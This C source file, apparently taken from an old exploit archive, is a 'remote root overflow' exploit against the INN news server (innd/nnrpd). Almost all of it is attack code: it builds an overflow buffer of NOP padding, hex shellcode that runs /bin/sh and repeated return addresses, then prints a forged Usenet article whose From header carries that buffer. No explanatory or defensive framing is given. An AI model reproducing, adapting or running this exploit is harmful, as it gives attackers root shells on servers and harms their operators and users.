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inn-nnrp.c
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C/C++ Source or Header
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2005-02-12
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2KB
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79 lines
/*
* INND/NNRP remote root overflow
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#define DEFAULT_OFFSET 792
#define BUFFER_SIZE 796
#define ADDRS 80
#define RET 0xefbf95e4
#define NOP "\x08\x21\x02\x80"
int main(argc, argv)
int argc;
char **argv;
{
char *buff = NULL, *ptr = NULL;
u_long *addr_ptr = NULL;
int ofs = DEFAULT_OFFSET;
int noplen;
int i, j;
u_char execshell[] =
"\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01"
"\xe4\x20\xe0\x08\x0b\x5a\x02\x9a\xe8\x3f\x1f\xfd"
"\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02"
"\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99"
"\x0b\x18\x02\x98\x34\x16\x04\xbe\x20\x20\x08\x01"
"\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe"
"/bin/sh";
if(argc > 1)
ofs = atoi(argv[1]);
if(!(buff = malloc(4096)))
{
(void)fprintf(stderr, "can't allocate memory\n");
exit(1);
}
ptr = buff;
noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;
for(i = 0; i < noplen / 4; i++)
{
for(j = 0; j < 4; j++)
*ptr++ = NOP[j];
}
*ptr += noplen;
for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];
addr_ptr = (unsigned long *)ptr;
for(i = 0; i < ADDRS / 4; i++)
*addr_ptr++ = (RET - ofs);
ptr = (char *)addr_ptr;
*ptr = '\0';
(void)fprintf(stderr, "shellcode len: %d, RET: %x\n", strlen(buff), RET-ofs);
printf(
"Path: babcia!padlina\n"
"From: babunia @%s\n"
"Newsgroups: pl.test\n"
"Subject: test\n"
"Message-ID: <830201540.9220@padlina.z-miesne.krakow.pl>\n"
"Date: 26 Aug 1999 10:36:54 +0200\n"
"Lines: 1\n"
"\n"
"west. test it.\n"
".\n", buff);
}
/* www.hack.co.za [30 November 2000]*/